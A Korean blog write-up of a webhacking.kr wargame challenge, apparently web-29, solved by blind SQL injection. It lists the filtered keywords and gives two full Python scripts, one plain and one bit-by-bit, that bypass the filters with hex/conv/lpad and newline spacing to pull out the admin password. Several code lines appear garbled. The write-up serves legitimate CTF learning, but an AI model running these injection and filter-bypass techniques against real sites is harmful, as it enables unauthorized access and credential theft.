로그인을 누르면 guest 계정으로 로그인된다.

우선 어떤 것들이 필터되었는지 확인하자.


// 필터문자


%20

union

/

*

or

limit

order

ascii


// 사용 가능 문자


select

(

)

0x

like

<, >

length

substr

mid

lpad

conv

hex


관리자 계정으로 들어가기 위해 no=-1||no=2%23 을 url에 직접 입력하였더니 관리자 비밀번호 재인증 페이지로 이동되었다.

이 문제는 아래와 같이 기존에 Blind SQL 인젝션 스크립트를 사용해도 된다. 하지만 너무느려서 검색을 하다 효율적인 Blind SQL 인젝션 알게됐다.

https://blog.silnex.kr/efficient-blind-sql-injection/



// 기존 Blind SQL 인젝션 스크립트


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import urllib2
import urllib
import re
 
TrueKeyword = "admin"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passwd'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&"
for i in xrange(1,100):
    injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 length(pw)<{} -- ".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("admin", data)
    if find:
        pwLen = i-1
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        # if chr(j) == '%' or chr(j) == '_':
        #     continue
 
        injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(pw,{},1)={} -- ".format(str(i), str(hex(j)))
        injectParams = injectParams.replace(" ""%0a")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("admin", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs





앞서 링크한 블로그에 너무 잘 설명되어있어 간략하게 기술하자면

기존 Blind SQL 인젝션과 같은 경우는 한글자를 알아내기 위해 아스키코드33 ~ 126까지 하나하나 대입해야하므로 굉장히 느리다.


하지만 Efficient Blind SQL 인젝션 스크립트를 이용하면 굉장히 빠르다.

예를 들어, 패스워드 길이를 구하려한다면 lpad(bin(length(pw)),7,0)으로 2진수 7자리로 변환해준다.

패스워드 길이가 10이면 0001010이 되고 substr() 함수로 각 자리를 1번씩만 비교하여 총 7번의 비교로 패스워드 길이를 구할 수 있다.

(아래 스크립트 22~37 라인에 해당함)


앞서 링크를 보면 패스워드를 구하기 위해 substr(lpad(bin(ascii(substr(pw,1,1))),7,0),1,1) 를 사용했는데

이 문제는 ascii 함수를 필터처리 했다. 따라서 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 와 같이

hex로 우회한 뒤 conv 함수로 16진수를 2진수로 변환 후 7자리가 되도록 0으로 패딩하고 substr 함수로 

한자리씩 비교하였다.


+추가  ascii 함수가 필터돼서 hex함수로 우회하고 2진수로 변환했는데 ord() 함수도 ascii() 함수와 동일한 기능을 한다.


혹시 나중에 까먹었을 때 금방 눈에 들어오게 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 를 풀어 설명하자면

pw = "abcd" 일 때


1. substr(pw,1,1) -> 'a'

2. hex('a') -> 61

3. conv(61, 16, 2) ->1100001  // conv 함수는 진법 변환 함수로 16진수 ->2진수로 변환했다

4. lpad('1100001',7,0) -> 1100001 // lpad 함수는 왼쪽에 0으로 패딩값을 채우는 것이다.(7자리)



// efficient Blind SQL 인젝션


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import urllib2
import urllib
import re
 
TrueKeyword = "admin"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'YourPassword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) select substr(lpad(bin(length(pw)),7,0),{},1);
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(bin(length(pw)),7,0),{},1)=0 -- ".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("admin", data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#    select substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1);
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(18):
        injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1)=0 -- ".format(i,j).replace(" ""%0a")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("admin", data)
        print "[+] Request : " + injectParams + " --> {}'s injection".format(count)
        count+=1
 
        if find:
            bin_tmp += "0"
        else:
            bin_tmp += "1"
 
 
    password += chr(int(bin_tmp,2))
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
cs



// 실행 결과 화면



+ Recent posts